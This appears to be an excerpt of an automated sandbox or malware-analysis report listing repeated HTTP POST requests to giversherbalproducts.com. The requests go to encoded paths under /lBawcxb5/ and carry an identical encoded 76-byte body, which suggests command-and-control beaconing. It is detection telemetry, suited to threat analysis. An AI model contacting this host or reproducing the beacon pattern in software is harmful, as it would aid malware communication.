Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fi8tB30jeQl1dyAeDwQ+MjAAFCABBw0vRnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/LRkqBRs9LQ4/JSIvBDw3KCwJIntCe3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/IRh6OxsSA317KiA4HjUrBxgBRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/MRMKDjY/IhkIGhgGHi8tCCENKRcdPR0dRnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Hg4RFBcNMzMqHRwDMXUdPAAqRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/KgUKfiUpewUIDBN5PRx9e0N6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/MjwbIQIkBgkPHTI6ez0VQntyfmF6fHNifWV5 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eHMTeicjLSU2ewYseiU7enIEAAQvPkJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/EwIhOC4lMBwbPwgnLQApcyIsASwdBTMheA5DenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ch0sAS4NeiYGBAoeHCh7eAUtIA4aOSQPeBwFQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/KHMMGS5zJ300PjoPEX0KBSsaHAkAJBgGOkJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fi8tB30jeQl1dyAeDwQ+MjAAFCABBw0vRnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OiIDfhgnKT1FfnJ4ZX15c2R5Ynw= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/IRh6OxsSA317KiA4HjUrBxgBRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/B34GDSoaEiwrAiUkfHUXQntyfmF6fHNifWV5 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Hg4RFBcNMzMqHRwDMXUdPAAqRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HQAZPjV6PwkoLTkrGToMfyNCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/MjwbIQIkBgkPHTI6ez0VQntyfmF6fHNifWV5 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eih9CzkYex8lRnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/EwIhOC4lMBwbPwgnLQApcyIsASwdBTMheA5DenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Bjs9GT08KRJ7HQEJQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/KHMMGS5zJ300PjoPEX0KBSsaHAkAJBgGOkJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HwQCKiQ+JjspBywuejQWKD4ZdR0NeRI0RnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OiIDfhgnKT1FfnJ4ZX15c2R5Ynw= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/LghCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/B34GDSoaEiwrAiUkfHUXQntyfmF6fHNifWV5 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ABMaOXgKehMYLi4iJy53PxgpRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HQAZPjV6PwkoLTkrGToMfyNCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ExwxdQ4xewJ6DQ88ITsdLD19KRdCe3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eih9CzkYex8lRnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/KgEcGBw6EB89ADsrEQgOOjMZOgUyIR87CSVDenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Bjs9GT08KRJ7HQEJQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HTkqIQkgOx59DSgOPgt/fCchJj5zfXg4AwZDenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HwQCKiQ+JjspBywuejQWKD4ZdR0NeRI0RnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/exgmfzsJAhIqfQ06Bh88PQIsRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/L3wMFHwHIRJ0OSkuPgoLDQ4DIkZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/LghCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/PHkHfSgmeQN/GScNKhlGenN5Yn59cmV+YXg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ABMaOXgKehMYLi4iJy53PxgpRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ExwxdQ4xewJ6DQ88ITsdLD19KRdCe3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
